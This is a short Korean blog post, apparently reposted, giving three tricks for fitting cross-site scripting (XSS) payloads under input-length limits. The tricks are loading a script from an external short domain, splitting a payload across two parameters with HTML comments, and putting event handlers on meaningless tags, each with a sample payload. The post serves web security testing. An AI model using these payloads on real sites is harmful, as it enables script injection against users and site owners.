반응형

출처:http://www.hahwul.com/2014/08/xss-short-xsscross-site-script-xss.html



Short XSS

XSS에 대한 체킹을 하다보면 특수문자나 구문에 대해 필터링이 이루어지지는 않지만
입력 글자 수 제한 등 여러가지 난관에 막힙니다.


그 중 입력 글자 수 제한에 대해 우회하는 방법에 대한 이야기입니다.

1) 외부 링크에서 코드 호출하기(Calling code from external links)
짧은 주소의 도메인을 가지고 있을 시 가능합니다.

<script src=//url.u/x.js></script>

공격코드 자체를 x.js  같이 파일로 생성해두고 사용하는것이 방법으로 길이에 대한 필터링을 빗겨갈 수 있습니다.


2) XSS 삽입부분 다수일때 주석 활용하기(Use comment out)
한 페이지에서 XSS는 여러부분에 대해 삽입이 가능한 경우가 많습니다.

입력이 가능한 부분이 name, age 라는 파라미터라고 가정하였을때 아래와 같은 형식으로 공격구문을 작성합니다.

name: <script>alert(1)<!--
age: --></script>

두 파라미터가 삽입되는 지점 사이에 html 코드들은 주석처리되며 alert 구문만 동작시킬 수 있습니다. 위 경우는 삽입구문 내 <!-- --> 를 통한 주석구문이 없어야됩니다.

3) 취약 속성사용이 가능할 때 의미없는 태그 사용(Meaningless HTML tags)
onclick, onmouseover, onkeyup 등 XSS 사용가능한 속성은 매우 많습니다.
이와같은 속성은 태그 종류에 상관없이 사용이 가능하기 때문에 간단한 테스트 시 많이 사용합니다.

<x onclick=alert(1)>
<b onkeyup=alert(1)>

위와같이 x, b 등 의미없는 태그를 이용하여 공격코드의 길이를 줄일 수 있습니다.

위 방법이외에도 다양한 방법으로 XSS 필터링 및 입력 범위 제한에 대해 우회가 가능합니다. 조금이나마 도움이 되었으면 합니다.

감사합니다. ;)

반응형

+ Recent posts